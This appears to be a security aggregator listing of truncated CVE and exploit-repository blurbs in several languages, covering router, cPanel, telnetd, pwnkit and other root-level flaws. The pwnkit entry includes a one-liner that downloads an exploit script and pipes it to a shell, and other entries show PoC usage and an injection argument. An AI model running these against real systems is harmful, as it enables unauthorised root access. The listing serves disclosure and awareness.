CVE-2026-93818 PCI: plda: Protect root bus removal with rescan lock

In the Linux kernel, the following vulnerability has been resolved: PCI: plda: Protect root bus removal with rescan lock Hold the pcirescanremovelock lock while stopping and removing a root bus to avoid racing with concurrent rescan or hotplug operations triggered via sysfs. Such races may lead t...

Zapscape-Fix

Zapscape-Fix — CVE-2026-64561 KVM 内核热补丁 English | 简体中文 给 CentOS Stream 8 / RHEL 8 （4.18.0 全系列内核）的 KVM 宿主机修复 CVE-2026-64561（Zapscape） 漏洞的内核热补丁 ： 不打补丁的风险 ：租户虚拟机（guest）可以仅凭自身操作逃逸到宿主机，以宿主 内核 root 权限执行代码——击穿整台物理机及其上所有虚拟机。 本项目的补丁 ：基于 Linux 上游官方修复（2abd5287f083）backport 而来， 通过内核 livepatch 机制在线生效 ： ✅ 不重启宿...

tiandy-research

tiandy-research このリポジトリには、2020年8月に実施したTiandyのIPC/NVRファームウェア（これらのデバイスはOMNYとしても販売されています）の調査結果を掲載しています。この「調査」は網羅的なものではありませんが、管理者パスワードをリモートで回復したり、telnetを有効にしたり、rootパスワードを変更したりする複数の方法を見つけました。 どのバージョンが影響を受けるかを正確に言うのは難しいです。ダウンロードできるのは最近のものだけだからです。ダウンロード可能なこれらのバージョンはすべて影響を受けます: root@kitploit:...

Privilege-escalation-ASKEY

Privilege-escalation-ASKEY-Router-RTF3505VW-N1 CVE-2022-47040 ASKEY ルーターにおける権限昇格の脆弱性 デバイス: ASKEY RTF3505VW-N1 ファームウェア: BRSVg000R3505VMN1001s327（他のバージョンでは未テスト） CLI バージョン: ReducedCLIHGUv13 エクスプロイト： ASKEY RTF3505VW-N1 デバイスには、SSH 経由で制限付きデフォルトシェルへのアクセスが提供されています： 制限付きシェルは "ReducedCLI" にアクセスでき、ほとんどの...

nagiosxi-root-rce-exploit

nagiosxi-root-exploit 概要 Nagios XI = 5.6.5 には、攻撃者がRCEを利用してrootへの権限昇格を可能にする脆弱性が存在します。 このエクスプロイトを実行するには、サーバーへの'nagios'ユーザーとしてのアクセス、またはWebインターフェース経由でプラグインを管理する権限を持つCCMアクセスが必要です。 詳細...

poc-cve-2021-4034

poc-cve-2021-4034 pwnkit と呼ばれる CVE-2021-4034 の PoC 使い方 make を実行して release フォルダを確認するだけです。あるいは、次のワンライナーがお好みなら: sh -c "$curl -sSL https://github.com/dzonerzy/poc-cve-2021-4034/releases/download/v0.2/run-exploit.sh" 実行例 root@kitploit: dzonerzy@DESKTOP-5JHC90H:/mnt/c/Users/DZONERZY/GolangProjects/pkpw...

CVE-2025-20393

CVE-2025-20393 📌 概要 CVE-2025-20393 は、Cisco AsyncOS を実行している Cisco Secure Email Gateway SEG および Cisco Secure Email and Web Manager SEWM アプライアンスに影響を与える 重大なリモートコマンド実行 RCE の脆弱性です。 この脆弱性は、Spam Quarantine 機能における不適切な入力検証 が原因で存在します。認証されていないリモート攻撃者 は、細工された HTTP リクエストを送信することでこの欠陥を悪用し、root 権限での任意のコマンド実行...

CVE-2026-93425 Dokploy: Authenticated OS Command Injection in patch.readRepoDirectories (repoPath) leads to RCE as root

Dokploy is a free, self-hostable Platform as a Service PaaS. Prior to 0.29.13, the patch.readRepoDirectories tRPC procedure passes the user-controlled repoPath value from apps/dokploy/server/api/routers/patch.ts into a shell command in packages/server/src/services/patch-repo.ts without safe...

EUVD-2026-86253

Dokploy is a free, self-hostable Platform as a Service PaaS. Prior to 0.29.13, the patch.readRepoDirectories tRPC procedure passes the user-controlled repoPath value from apps/dokploy/server/api/routers/patch.ts into a shell command in packages/server/src/services/patch-repo.ts without safe...

CVE-2026-93425

Dokploy, a self-hostable Platform as a Service (PaaS), is vulnerable to Authenticated OS Command Injection in the patch.readRepoDirectories tRPC procedure prior to version 0.29.13 . The root cause is the lack of safe argument quoting when the user-controlled repoPath value from apps/dokploy/serve...

CVE-2026-93425 Dokploy: Authenticated OS Command Injection in patch.readRepoDirectories (repoPath) leads to RCE as root

Dokploy is a free, self-hostable Platform as a Service PaaS. Prior to 0.29.13, the patch.readRepoDirectories tRPC procedure passes the user-controlled repoPath value from apps/dokploy/server/api/routers/patch.ts into a shell command in packages/server/src/services/patch-repo.ts without safe...

CVE-2026-96515

CVE-2026-96515：Netlink HG323RW 中经认证的 root 命令执行 经过认证的受限 Web 用户可以通过 Netlink HG323RW 诊断导入处理程序上传 shell 脚本，并让 UID-0 的 BOA 进程执行该脚本。需要认证以及有效的验证/CSRF 值；本仓库不 声称存在预认证代码执行。 漏洞记录 字段| 值 ---|--- CVE| CVE-2026-96515 产品| Netlink ICT HG323RW 路由器 受影响硬件| V3.7 受影响固件| 3.1.02-260228（Netlinkver） 组件| bin/boa 端点|...

CVE-2026-19492

IBM PowerVM Hypervisor FW1120.00 through FW1120.01, FW1110.00 through FW1110.31, and FW1060.00 through FW1060.81 is affected by a vulnerability in a hypervisor call interface. An attacker with root access to a guest partition can read a limited amount of hypervisor memory, potentially exposing...

cPanel-WHM-CVE-2026-41940-auth-bypass-exploit

CVE-2026-41940 - cPanel & WHM 認証バイパスエクスプロイト cPanel/WHM cpsrvd デーモンにおけるCRLFインジェクションによる重大な認証バイパス 📋 概要 CVE-2026-41940 は、cPanel & WHM における重大な認証バイパス脆弱性 であり、認証されていないリモート攻撃者がサーバーへのルートレベルの管理アクセス を取得できるようにします。この脆弱性は cpsrvd デーモンのセッション処理、具体的には Cpanel/Session.pm 内に存在し、whostmgrsession Cookie および Authorization...

CVE-2026-24061

CVE-2026-24061 GNU Inetutils telnetd リモート認証バイパス 2026年にまだtelnet？マジで？そろそろ次に移ろうよ。SSHは1995年からあるんだぞ。 🤦 説明 GNU Inetutils telnetd のバージョン 1.9.3 から 2.7 に影響を与える深刻な認証バイパス脆弱性です。 この脆弱性は、NEW-ENVIRON telnet オプションを悪用して、login1 に悪意のある引数を注入します。telnet プロトコル経由で USER=-f root を設定することで、攻撃者は認証をバイパスし、認証情報なしで root...

CVE-2026-36356

CVE-2026-36356: MeiG Smart FORGESLT711 GoAhead — 認証不要のOSコマンドインジェクション /action/SetRemoteAccessCfg CVE : CVE-2026-36356 CWE : CWE-78, CWE-306 発見者 : Daniil Gordeev 公開日 : 2026-05-03 概要 MeiG Smart FORGESLT711 4G LTE CPE デバイスに同梱されている GoAhead Webサーバーは、認証なしでアクセス可能なHTTPエンドポイント /action/SetRemoteAccessCfg...

CVE-2026-20131

🚨 CVE-2026-20131 | Cisco FMC 重大な RCE Cisco Secure Firewall Management Center における未認証のリモートコード実行 📌 概要 Cisco FMC アプライアンス上でリモート攻撃者が root 権限によるコード実行 を達成できる 重大な事前認証 Java デシリアライゼーション脆弱性 。 主要情報 ✨ 安全な脆弱性チェッカー CVE-2026-20131 を検出するための、美しく、安全で、信頼性の高いツールです。 📸 デモ 機能 現代的で色分けされたターミナル出力 スマートな FMC...

CVE-2026-41940

⚠️ CVE-2026-41940 - cPanel & WHM 認証バイパス cPanel & WHM における重大な事前認証バイパス 📌 概要 CVE-2026-41940 は、cPanel & WHM および WP Squared に影響を与える重大な認証バイパス の脆弱性です。 認証されていないリモート攻撃者は、ログインを完全にバイパスして、サーバーへの完全な管理者 root/WHM アクセス を取得できます。 この欠陥は、パッチがリリースされる前に実際の環境で活発に悪用されていました 。 🎯 深刻度 メトリクス| 値 ---|--- CVSS 3.1 スコア| 9.8 緊急...

CVE-2026-0300

🚨 CVE-2026-0300 - Palo Alto Networks PAN-OS における重大な認証不要リモートコード実行 User-ID™ 認証ポータル （キャプティブポータル）におけるバッファオーバーフロー — 実環境で活発に悪用中 📋 概要 PAN-OS の User-ID 認証ポータルにおける重大なバッファオーバーフロー脆弱性 （CWE-787）により、認証されていない攻撃者 が特別に細工されたパケットを送信することで、root 権限でのリモートコード実行 を達成できる可能性があります。 CVE ID : CVE-2026-0300 CVSS 4.0 スコア :...

CVE-2020-11651

CVE-2020-11651 CVE-2020-11651 用 PoC Python3 が必要です 3.8 でテスト済み python3.8 -m pip install pyzmq msgpack root@kitploit: ⇒ python3.8 poc.py -h usage: poc.py -h -p PORT -c CMD -k -m -r READ -w WRITE -f FILE server server ... Exploit CVE-2020-11651 positional arguments: server Target Server IP or Host...